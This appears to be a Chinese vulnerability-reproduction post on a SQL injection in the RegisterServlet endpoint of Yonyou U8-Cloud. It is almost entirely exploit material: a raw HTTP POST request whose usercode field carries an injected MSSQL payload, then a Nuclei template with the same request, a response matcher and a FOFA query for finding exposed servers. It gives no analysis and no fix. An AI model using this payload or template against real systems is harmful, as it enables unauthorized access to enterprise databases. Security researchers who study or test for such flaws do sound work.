「漏洞复现」用友u8-cloud RegisterServlet SQL注入

POST /servlet/RegisterServlet HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36Connection: closeContent-Length: 85Accept: */*Accept-Language: enContent-Type: application/x-www-form-urlencodedX-Forwarded-For: 127.0.0.1Accept-Encoding: gzip
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

id: yonyou-u8-cloud-RegisterServlet-sql
info:  name: 用友u8-cloud RegisterServlet SQL注入  author: rain  severity: high  description:    用友U8 cloud的RegisterServlet接口对用户传入的参数未进行有效的过滤，攻击者可利用该漏洞进行sql注入。  tags: [用友U8-Cloud, sql注入, 高危]  metadata:    fofa-query: app="用友-U8-Cloud"http:  - raw:      - |-        POST /servlet/RegisterServlet HTTP/1.1        Host: 192.168.86.128:8089        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36        Connection: close        Content-Length: 85        Accept: */*        Accept-Language: en        Content-Type: application/x-www-form-urlencoded        X-Forwarded-For: 127.0.0.1        Accept-Encoding: gzip
        usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--      
    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code==200 && contains(body_1, "e10adc3949ba59abbe56e057f20f883e")'